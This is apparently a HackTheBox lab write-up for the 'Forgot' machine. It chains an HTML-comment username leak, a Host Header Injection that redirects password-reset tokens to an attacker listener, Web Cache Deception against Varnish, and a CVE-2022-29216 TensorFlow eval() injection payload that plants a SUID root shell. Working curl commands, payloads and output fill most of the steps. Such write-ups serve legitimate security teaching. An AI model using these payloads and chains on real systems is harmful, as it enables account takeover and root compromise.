HTB: Forgot Writeup
Forgot - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Forgot |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.226 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Forgot is a Medium-difficulty Linux box built around a support-ticket web app sitting behind a Varnish cache. The foothold chain starts with an information leak in the login page’s HTML source, escalates through a Host Header Injection against the password-reset flow to hijack a developer account, and then uses a Web Cache Deception (WCD) against Varnish to force an authenticated admin bot to leak SSH credentials for a diego account into a URL an unauthenticated attacker can fetch. Root comes from a sudo entry running a “ML-based” XSS filter (ml_security.py) whose classification pipeline calls into a vulnerable TensorFlow saved_model_cli function — CVE-2022-29216 — turning a ticket’s reason field into arbitrary Python code execution as root.
TL;DR: HTML comment leaks dev username robert-dev-1450212 → Host Header Injection hijacks the password-reset link → account takeover via reset token → Web Cache Deception on /admin_tickets/static/* leaks diego’s SSH password from a cached admin ticket → SSH foothold + user flag → sudo NOPASSWD on ml_security.py → CVE-2022-29216 (TensorFlow saved_model_cli eval() injection) via a poisoned MySQL escalate.reason row → SUID /tmp/rootbash → root flag.
Reconnaissance
Port Scanning
# full TCP port sweep, high min-rate for speednmap -p- --min-rate=2000 -T4 10.129.43.226Results:
22/tcp open ssh80/tcp open httpOnly SSH and a single HTTP service — enumeration is going to live entirely in the web app.
Service Enumeration
curl -s -i http://10.129.43.226/ | head -40HTTP/1.1 200 OKServer: Werkzeug/2.1.2 Python/3.8.10X-Varnish: 32770Age: 0Via: 1.1 varnish (Varnish/6.2)Accept-Ranges: bytesConnection: keep-alive
<!DOCTYPE html><title>Login</title>Server: Werkzeug/2.1.2 Python/3.8.10 confirms a Flask dev server, and the X-Varnish / Via: 1.1 varnish (Varnish/6.2) headers confirm the app sits behind a Varnish reverse-proxy cache — worth remembering, since Varnish caching decisions (what gets cached, and under what URL) are what the later Web Cache Deception step abuses.
The login page has a “Forgot the password?” link, and its HTML source contains a leftover developer comment:
curl -s http://10.129.43.226/ | grep -iE "<!--|dev|href|forgot"<!-- Q1 release fix by robert-dev-1450212 --> <a href="/forgot" class="forgot">Forgot the password?</a>robert-dev-1450212 is a live, guessable-looking developer username baked right into the markup.
Vulnerability Assessment
- Information disclosure — an internal developer username (
robert-dev-1450212) is leaked in an HTML comment on the public login page. - Host Header Injection — the password-reset flow at
/forgotbuilds its emailed reset link using the client-suppliedHostheader instead of a fixed, server-side value, letting an attacker redirect the reset-token delivery to infrastructure they control. - Web Cache Deception — Varnish caches paths under
/static/, including under access-controlled prefixes like/admin_tickets/static/, without regard to the caller’s authentication state. - Code injection via
sudo— a NOPASSWDsudoentry runs a Python script that callspreprocess_input_exprs_arg_string()from TensorFlow’ssaved_model_cli, which is vulnerable toeval()-based code injection (CVE-2022-29216).
Initial Foothold
Step 1 — Confirm the target rejects password resets for admin, accepts them for the leaked dev user
The /forgot endpoint takes only a username and reports whether a reset link was generated:
curl -s "http://10.129.43.226/forgot?username=admin"# -> reset explicitly refused for admin
curl -s "http://10.129.43.226/forgot?username=robert-dev-1450212"# -> "Password reset link has been sent to user inbox..."With no mailbox access, the reset link itself has to be intercepted another way.
Step 2 — Host Header Injection to hijack the reset link
The app’s behavior (accepting robert-dev-1450212 and only reporting success) pointed at a server building the reset link from request data rather than a fixed base URL. The fix was to stand up a listener on the attacker-controlled host and steer the reset link there via the Host header:
# stand up a catcher on the jump box (needed setsid to survive the SSH session# exiting, since a plain background `&` kept dying with the parent shell)sudo bash -c "setsid python3 -m http.server 80 --directory /tmp \ >/home/d3vn0mi/httpd.log 2>&1 < /dev/null &"
# trigger the reset while pointing Host at our listenercurl -s "http://10.129.43.226/forgot?username=robert-dev-1450212" \ -H "Host: 10.10.15.180"A few seconds later the catcher’s log had the callback with the reset token:
10.129.43.226 - - [21/Jul/2026 10:35:05] "GET /reset?token=Opy2UMrVG%2FldFqEWql9u%2FbomDwzJsyjrURb0FKVNnSLhcUD76UxcH8Lw4bZmk8E0w09GFqDZ1f3F%2FIdVgZrmiA%3D%3D HTTP/1.1" 404 -This confirms the server trusts the client-supplied Host header when building the absolute URL for the emailed reset link, rather than using a server-side canonical hostname — a classic Host Header Injection. Because the token is only ever delivered to whatever host the attacker names, capturing it is as simple as owning that host.
Step 3 — Reset the password and log in
TOKEN='Opy2UMrVG%2FldFqEWql9u%2FbomDwzJsyjrURb0FKVNnSLhcUD76UxcH8Lw4bZmk8E0w09GFqDZ1f3F%2FIdVgZrmiA%3D%3D'
# the reset page's JS POSTs the new password back to the same token-bearing URLcurl -s -i -X POST "http://10.129.43.226/reset?token=$TOKEN" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'password=Pwn3d!123'# -> "Success"
curl -s -i -X POST 'http://10.129.43.226/login' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'username=robert-dev-1450212&password=Pwn3d!123'Set-Cookie: session=a3f06ffe-8e92-476f-a139-b363f92ebacb; HttpOnly; Path=/<script>window.location.href="/home";</script>Account takeover of robert-dev-1450212 is complete, landing in a “Support Portal” with /home, /tickets, /escalate, and a visibly disabled /admin_tickets link.
Step 4 — Web Cache Deception to reach /admin_tickets
Direct access to /admin_tickets is blocked (err=ACCESS_DENIED), but the /escalate page lets a normal user submit a link + reason that an admin reviews. Combined with the earlier discovery that this app runs behind Varnish, that submission flow is a way to get an admin’s authenticated browser to visit a URL of the attacker’s choosing.
Varnish caches static-looking paths regardless of the authenticated prefix in front of them:
C='a3f06ffe-8e92-476f-a139-b363f92ebacb'
curl -s -o /dev/null -w '%{http_code}\n' \ 'http://10.129.43.226/tickets/static/test.css' -H "Cookie: session=$C"# -> 200
curl -s -o /dev/null -w '%{http_code}\n' \ 'http://10.129.43.226/tickets/static/test.css'# -> 200 (served unauthenticated once cached)/tickets/static/* is cached by Varnish independent of the session cookie. Since /admin_tickets follows the same <prefix>/static/* routing pattern as /tickets, pointing the escalate form’s link at /admin_tickets/static/<something> should cause the admin’s browser (which does have access to /admin_tickets) to render and cache that page under a URL the attacker can then request unauthenticated:
C='a3f06ffe-8e92-476f-a139-b363f92ebacb'PATHU="wcd$(date +%s).css"
curl -s -i -X POST 'http://10.129.43.226/escalate' \ -H "Cookie: session=$C" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data "to=admin&link=http://10.129.43.226/admin_tickets/static/$PATHU&reason=please+review&issue=xss"# -> "Escalation form submitted to Admin and will be reviewed soon!"After waiting for the admin review bot to visit the link:
curl -s "http://10.129.43.226/admin_tickets/static/$PATHU"<td>SSH Credentials are not working for Jenkins Slave machine</td><td>Diego (Devops Lead)</td><td>http://forgot.htb/tickets/102</td><td>I've tried with diego:dCb#1!x0%gjq. The automation tasks has been blocked due to this issue. Please resolve this at the earliest</td>The cached admin_tickets page — fully rendered with an admin session — leaked a plaintext SSH credential for diego straight into an unauthenticated response.
Step 5 — SSH in as diego
sshpass -p 'dCb#1!x0%gjq' ssh diego@10.129.43.226 'id; hostname; cat ~/user.txt'uid=1000(diego) gid=1000(diego) groups=1000(diego)forgot<redacted>User flag obtained.
Privilege Escalation
Step 1 — Enumerate sudo rights
sudo -lUser diego may run the following commands on forgot: (ALL) NOPASSWD: /opt/security/ml_security.pyStep 2 — Read the script and find the injection sink
cat /opt/security/ml_security.pyThe script pulls every submitted ticket’s reason column from the app MySQL database (using diego’s own DB credentials, diego:dCb#1!x0%gjq), vectorizes each string with a Doc2Vec model, and runs it through six different sklearn classifiers to score how likely it is to be an XSS payload. If the ensemble score crosses 0.5, it hands the raw string to:
from tensorflow.python.tools.saved_model_cli import preprocess_input_exprs_arg_string...preprocess_input_exprs_arg_string(data[i], safe=False)preprocess_input_exprs_arg_string — part of TensorFlow’s saved_model_cli tooling — is intended to parse key=expr strings for model input tensors, and internally calls Python’s eval() on the right-hand side of the =. With safe=False, arbitrary attacker-controlled text reaching this function is arbitrary Python code execution. This is CVE-2022-29216, affecting TensorFlow < 2.8.1/2.9.0rc1: saved_model_cli’s expression parser was never meant to process untrusted input, and ml_security.py hands it exactly that — the reason field of a support ticket.
To reach the vulnerable call at all, the ensemble classifier score has to clear 0.5, which the script’s own feature weights (exec, alert, <script>, onerror, etc. all bump the “malicious” feature counts) make trivial to satisfy with a normal-looking XSS-flavored string.
Step 3 — Poison the escalate.reason column
With SSH access and diego’s own MySQL credentials already in hand, the crafted payload was written directly into the escalate table (user, issue, link, reason columns):
# payload: real code before '#', throwaway <script> tail after it purely to# push the classifier's XSS score over 0.5 so the eval() path actually firestest=exec("""import subprocesssubprocess.call(["cp","/bin/bash","/tmp/rootbash"])subprocess.call(["chmod","u+s","/tmp/rootbash"])""")#<script>alert()</script># base64 the payload to avoid shell-quoting hell over nested SSH, then decode# and INSERT it as the escalate.reason for a fresh rowB64=$(base64 -w0 /tmp/reason_payload.txt)
ssh diego@10.129.43.226 "echo $B64 | base64 -d > /tmp/r.txt; \python3 -c \"import mysql.connectorc = mysql.connector.connect(host='localhost', database='app', user='diego', password='dCb#1!x0%gjq')cur = c.cursor()cur.execute('delete from escalate')r = open('/tmp/r.txt').read()cur.execute('insert into escalate (user,issue,link,reason) values (%s,%s,%s,%s)', ('a','a','a', r))c.commit()\""INSERTED 'test=exec("""\nimport subprocess\nsubprocess.call(["cp","/bin/bash","/tmp/rootbash"])\nsubprocess.call(["chmod","u+s","/tmp/rootbash"])""")#<script>alert()</script>'The # comments out the trailing <script>alert()</script> from the exec() call itself — that tail exists purely to inflate the classifier’s malicious-content score, not to actually run.
Step 4 — Trigger the script as root
sudo /opt/security/ml_security.pyls -la /tmp/rootbash-rwsr-xr-x 1 root root 1183448 Jul 21 07:39 /tmp/rootbashml_security.py ran as root (via sudo), pulled the poisoned reason from MySQL, scored it as malicious, and fed it to preprocess_input_exprs_arg_string(..., safe=False), which eval()’d the injected exec(...) block — copying /bin/bash to /tmp/rootbash and setting the SUID bit, all as root.
Step 5 — Root shell and flag
/tmp/rootbash -p -c "id; cat /root/root.txt"uid=1000(diego) euid=0(root) groups=1000(diego)<redacted>-p preserves the effective UID from the SUID bit instead of bash dropping privileges on startup — euid=0 confirms root, and the root flag is read directly.
Attack Chain Summary
HTML comment leaks dev username (robert-dev-1450212) → Host Header Injection redirects password-reset token to attacker listener → Reset token used to take over robert-dev-1450212 / login → Escalate form + Varnish "/*/static/*" caching = Web Cache Deception → Cached /admin_tickets/static/<file> leaks diego's SSH password → SSH as diego → user.txt → sudo NOPASSWD /opt/security/ml_security.py → CVE-2022-29216 (TensorFlow saved_model_cli eval() injection) via poisoned escalate.reason row in MySQL → SUID /tmp/rootbash → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | HTTP enumeration, Host Header Injection, form submission, cache probing |
python3 -m http.server | Catcher for the hijacked password-reset token |
sshpass / ssh | Non-interactive SSH as diego |
mysql / mysql.connector (Python) | Reading and poisoning the escalate table used by ml_security.py |
base64 | Safely transporting the injection payload through nested SSH shells |
Key Learnings
Techniques Practiced
- Harvesting internal usernames leaked in HTML comments
- Host Header Injection to hijack a password-reset flow and capture a reset token
- Reverse-proxy (Varnish) caching-behavior enumeration
- Web Cache Deception (WCD): coercing an authenticated bot to render a protected page under a cacheable static-looking URL, then reading it back unauthenticated
- Abusing a
sudoNOPASSWD entry on an application script - CVE-2022-29216 — TensorFlow
saved_model_clipreprocess_input_exprs_arg_string()eval()code injection - SUID binary privilege escalation via
bash -p
Lessons Learned
- Never build reset links, callback URLs, or any security-sensitive absolute URL from a client-controlled
Hostheader — use a fixed, server-side canonical hostname, or the reset flow becomes a token-exfiltration primitive for free. - Caching proxies that key purely on URL path (e.g. anything under
/static/) without factoring in the caller’s authentication state will happily cache an authenticated response and replay it to anyone — Web Cache Deception is a direct consequence of “cache by path” logic layered under an auth-gated app. - Bolting an “ML-based” content filter in front of a dangerous sink doesn’t make the sink safe — here the classifier’s own scoring model made it easier to route a payload into the vulnerable code path, not harder.
- Dependency hygiene matters at the library-internals level, not just the top-level framework:
ml_security.pynever intended to exposeeval(), but pulling in TensorFlow’ssaved_model_cli.preprocess_input_exprs_arg_string()withsafe=Falsereachable from untrusted DB content did exactly that (CVE-2022-29216). Pin and patch transitive dependencies, not just the packages you import directly.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- C4rm3l0, Forgot (HackTheBox official writeup, Document No. D22.100.211), Machine Author: MrR3boot. Used here only to confirm the CVE identifier (CVE-2022-29216) and the conceptual role of each technique (Host Header Injection, Web Cache Deception, TensorFlow
saved_model_cliinjection) — every IP, credential, token, and command output above is from this run’s own solve, not the reference.